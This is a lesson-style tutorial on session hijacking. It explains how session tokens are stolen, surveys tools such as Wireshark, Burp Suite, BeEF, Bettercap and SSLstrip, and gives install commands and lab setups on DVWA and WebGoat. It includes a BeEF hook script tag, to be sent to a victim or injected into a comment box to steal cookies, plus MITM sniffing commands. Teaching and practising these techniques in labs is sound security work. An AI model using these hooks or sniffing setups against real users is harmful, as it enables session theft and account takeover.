🧑🏻‍💻SESSION HIJACKING

A session hijacking attack refers to the exploitation of a session token-generation mechanism or token security controls that enables an attacker to establish an unauthorized connection with a target server. The attacker guesses or steals a valid session ID (which identifies authenticated users) and uses it to establish a session with the server.

💡 Example:

You're logged into your online bank account using café Wi-Fi. Someone intercepts your session token using a sniffer like **Wireshark**. Now, they can access your account —**without your username or password**.

How does Session Hijacking work?

Session hijacking is often executed by various methods, and some of the most common culprits include:

- **Session Sniffing**: One of the most basic methods for application layer session hijacking, attackers employ sniffers (i.e. Wireshark) or proxies, such as OWASP Zed, to intercept and "sniff" session data as it is transmitted between the user and the server. This allows them to use a token to capture valuable session information.
- **Predictable Session Token ID**: When websites generate session token IDs using easily predictable patterns or variables, it becomes easier for attackers to guess or deduce these IDs, gaining unauthorized access.
- **Man-in-the-Browser**: This type of attack is like a man-in-the-middle attack but requires the initial infection of the victim's computer with a Trojan. Once installed, the malware waits for the victim to visit a targeted site. It can covertly modify transaction details and initiate additional transactions without the user's knowledge. Since the requests originate from the victim's device, detecting fraudulent requests becomes challenging for the web service.
- **Cross-Site Scripting (XSS)**: The attacker takes advantage of weaknesses within web applications to inject malicious scripts into web pages visible to other users. This can result in the theft of session details and subsequent session hijacking.
- **Session Sidejacking**: In this scenario, attackers intercept session data while it's in transit, often exploiting weak encryption or lack of encryption to gain access to the user's session.

- **Session Fixation**: Attackers trick users into using a predetermined session ID, enabling them to take control of the session once the user logs in.

Session hijacking attacks are typically targeted at networks that experience heavy traffic, where numerous communication sessions are active simultaneously. The abundance of ongoing sessions not only offers the attacker a multitude of opportunities to carry out their exploits but can also provide a cloak of concealment for the attacker amidst the bustling activity on the server.

🧪 Lesson 7.2: How Session Hijacking Works – Internals Explained

🔗 How a Web Session Works:

1. **User logs in → Server validates → Generates Session ID.**
2. Session ID is sent to the client (browser) via:
    - HTTP Headers
    - Cookies (`Set-Cookie`)
    - URL parameters (in insecure apps)
3. Browser stores and automatically sends this token with every request.
4. Server uses this token to verify the user—**not credentials again**.
5. **Attacker intercepts or predicts the token**, uses it to impersonate.

🚨 Vulnerable Transmission Paths:

- Public Wi-Fi without HTTPS
- Insecure cookies (no `Secure`, `HttpOnly`, `SameSite`)
- Poorly generated session tokens
- Exposed XSS vulnerabilities

🛠️ Lesson 7.4: Common Tools for Session Hijacking

Tool	Purpose	Platform
Wireshark	Capture and analyze network traffic (packets)	Windows/Linux
Ettercap	MITM and sniffing for session hijack	Linux
Firesheep	Easy sidejacking via browser extension	Firefox
Burp Suite	Intercept/modifiy session data	Cross-platform
BeEF	Browser Exploitation for stealing cookies	Linux

Tool	Purpose	Platform
Cookie Cadger	Visual tool to hijack unencrypted cookies	Linux/Windows

🧰 Session Hijacking Toolkit – Tools & Uses

Tool Name	**Main Use**	**Type**	**Platform**	**Skill Level**
Wireshark	Packet sniffing; captures HTTP traffic to extract session data	Network Analyzer	Windows, Linux, macOS	Beginner–Advanced
Ettercap	MITM attacks; can inject fake packets or sniff session cookies	MITM/Packet Injection	Linux	Intermediate
Firesheep	Browser extension for HTTP sidejacking (capturing session IDs)	Browser Add-on	Firefox (legacy)	Beginner
Burp Suite	Intercepts web requests; allows session token replay & editing	Web Proxy	Windows/Linux/macOS	Intermediate–Pro
BeEF	Browser Exploitation Framework; steal cookies via XSS	Exploitation Framework	Linux	Advanced
Cookie Cadger	Visual tool to capture session cookies from HTTP traffic	Packet Sniffer	Windows/Linux	Beginner–Intermediate
SSLstrip	Strips HTTPS to HTTP; useful in capturing unencrypted sessions	MITM Tool	Linux	Intermediate

Tool Name	Main Use	Type	Platform	Skill Level
dsniff	Captures login info and session tokens from sniffed traffic	Packet Sniffer Suite	Linux	Intermediate
Bettercap	Powerful MITM framework for real-time hijacking and injections	MITM/Network Utility	Linux/macOS	Advanced
OWASP ZAP	Similar to Burp Suite; test session fixation & cookie settings	Web Vulnerability Scanner	Cross-platform	Intermediate

🔍 Tool Use Cases Explained

1. **Wireshark**

- Sniff network traffic.
- Filter HTTP requests to extract cookies.
- Great for **session sidejacking** demonstrations.

2. **Ettercap**

- Performs **MITM attacks** to redirect or sniff traffic.
- Can hijack sessions on LAN.
- Used for **ARP spoofing + session replay**.

3. **Firesheep**

- Easy way to demonstrate hijacking on public Wi-Fi.
- Captures cookies from unencrypted HTTP sessions.
- No longer supported on latest browsers, but great for historical learning.

4. **Burp Suite**

- Intercepts and modifies live web traffic.
- Replay stolen cookies/session tokens.
- Simulate **session fixation**, **XSS**, or **token theft**.

5. **BeEF (Browser Exploitation Framework)**

- Hook victims' browsers.
- Run JavaScript payloads to steal `document.cookie`.
- Simulates **real-world XSS-based session hijacks**.

6. **Cookie Cadger**

- Easy tool for **real-time session hijacking demos**.
- Graphical interface to replay session cookies from HTTP traffic.

7. **SSLstrip**

- Downgrades secure HTTPS requests to HTTP.
- Used in combination with MITM to **steal tokens over downgraded connections**.

8. **dsniff**

- Suite that includes tools like `urlsnarf`, `webmitm`, `arpspoof`.
- Used for sniffing credentials and session tokens.

9. **Bettercap**

- More advanced and updated alternative to Ettercap.
- Can **hijack sessions, inject JS**, sniff credentials in real time.

10. **OWASP ZAP**

- Intercept web traffic.
- Test for insecure session management.
- Validate cookies for `HttpOnly`, `Secure`, `SameSite` flags.

✅ Best Tool Combos for Learning Labs

Attack Scenario	**Tools to Use**
HTTP Session Sniffing	Wireshark + Cookie Cadger
XSS-based Session Hijack	BeEF + Burp Suite
Session Fixation	Burp Suite + DVWA
MITM Attack	Ettercap/Bettercap + SSLstrip
Testing Cookie Security Flags	OWASP ZAP + Burp Suite

🛠️ Hands-On Tools for Session Hijacking (Lab-Ready)

🔷 1. Wireshark – *Packet Sniffer*

✅ What it does:

Captures HTTP traffic (like cookies/session IDs) for session sidejacking.

📥 Installation:

```
bash
CopyEdit
sudo apt install wireshark
```

🔧 How to Use:

1. Open Wireshark → Choose network interface (e.g., wlan0).
2. Filter: `http.cookie` or `Set-Cookie`.
3. Capture a login request and extract the session ID.

🧪 Lab Idea:

- Set up **DVWA** on localhost.
- Access over HTTP, login, and sniff traffic using Wireshark.

🔷 2. Burp Suite (Community Edition) – *Web Proxy Interceptor*

✅ What it does:

Intercepts and modifies session tokens, ideal for session fixation and replay.

📥 Installation:

```
bash
CopyEdit
sudo snap install burpsuite
```

Or download from https://portswigger.net/burp

🔧 How to Use:

1. Configure browser proxy (127.0.0.1:8080).
2. Login to target site.
3. Capture request and modify session ID manually.

🧪 Lab Idea:

- Use **DVWA/WebGoat**.
- Intercept the session cookie and try session replay in a second browser.

🔷 3. BeEF (Browser Exploitation Framework) – *Browser Hijacking via XSS*

✅ What it does:

Hooks a victim browser and executes JavaScript to steal cookies.

📥 Installation:

```
bash
CopyEdit
sudo apt install beef-xss
```

🔧 How to Use:

1. Run BeEF: `beef-xss`
2. Send the victim a link like:

   ```
   php-template
   CopyEdit
   <script src="http://<your-ip>:3000/hook.js"></script>
   ```

3. Once hooked, use BeEF UI to run payload: *Get Cookies*.

🧪 Lab Idea:

- Inject the hook into a comment box on DVWA.

- Watch it appear in the BeEF control panel.

🔷 4. Bettercap – *Advanced MITM & Sniffer*

✅ What it does:

Performs MITM attacks, captures and manipulates HTTP data.

📥 Installation:

```
bash
CopyEdit
sudo apt install bettercap
```

🔧 How to Use:

```
bash
CopyEdit
sudo bettercap -iface wlan0
```

Start HTTP sniffing:

```
bash
CopyEdit
http.proxy on
net.sniff on
```

🧪 Lab Idea:

- Connect victim device to same Wi-Fi.
- Sniff session cookies via HTTP requests.

🔷 5. OWASP ZAP – *Cookie Security Analyzer*

✅ What it does:

Checks cookie flags (`HttpOnly`, `Secure`, etc.) and session management flaws.

📥 Installation:

```
bash
CopyEdit
sudo snap install zaproxy
```

🔧 How to Use:

1. Open ZAP and start a new session.
2. Access site through ZAP proxy (like Burp).
3. Analyze session management alerts.

🧪 Lab Idea:

- Run ZAP on DVWA or any PHP login site.
- Test if session ID is predictable, reused, or lacks flags.

🔷 6. DVWA / OWASP WebGoat – *Practice Playground*

✅ What it does:

These are intentionally vulnerable apps designed for hands-on testing.

📥 Installation (DVWA):

```
bash
CopyEdit
sudo apt install apache2 php php-mysqli mariadb-server
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa
```

Then configure `config.inc.php` and start services.

🧪 Why You Need This:

Almost every hijacking technique—XSS, session fixation, cookie theft—can be practiced here.

🔒 Bonus Setup: Practice Environment

Tool/Platform	Purpose	OS
Kali Linux	Hacking OS with preinstalled tools	Linux
VirtualBox/VMware	To isolate labs	Cross-platform
Browser Plugins	Modify Headers, Edit Cookies	Chrome/Firefox

🎯 Suggested Practice Flow:

1. **Start DVWA or WebGoat.**
2. Use **Wireshark** to capture HTTP login.
3. Try **Burp Suite** to fixate or replay session ID.
4. Launch **BeEF** and inject hook for cookie theft.
5. Use **Bettercap** to sniff from another device.
6. Use **ZAP** to check if the app sets secure cookies.